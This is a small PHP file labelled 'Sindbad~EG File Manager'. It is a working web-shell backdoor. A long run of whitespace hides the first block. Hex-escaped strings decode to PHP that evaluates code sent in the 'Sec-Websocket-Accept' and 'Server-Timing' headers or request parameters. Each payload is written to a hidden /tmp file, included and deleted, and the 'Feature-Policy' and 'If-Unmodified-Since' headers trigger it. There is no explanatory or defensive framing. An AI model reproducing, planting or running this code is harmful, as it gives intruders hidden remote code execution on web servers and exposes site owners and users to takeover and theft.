Sindbad~EG File Manager

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Feature-Policy'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x53e\x63\x2dW\x65\x62s\x6f\x63k\x65\x74-\x41\x63c\x65\x70t\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x52\x45Q\x55\x45S\x54\x5b\"\x53\x65c\x2d\x57e\x62\x73o\x63\x6be\x74\x2dA\x63\x63e\x70\x74\"\x5d\x29;";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x53e\x72\x76e\x72\x2dT\x69\x6di\x6e\x67\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22S\x65\x72v\x65\x72-\x54\x69m\x69\x6eg\x22\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}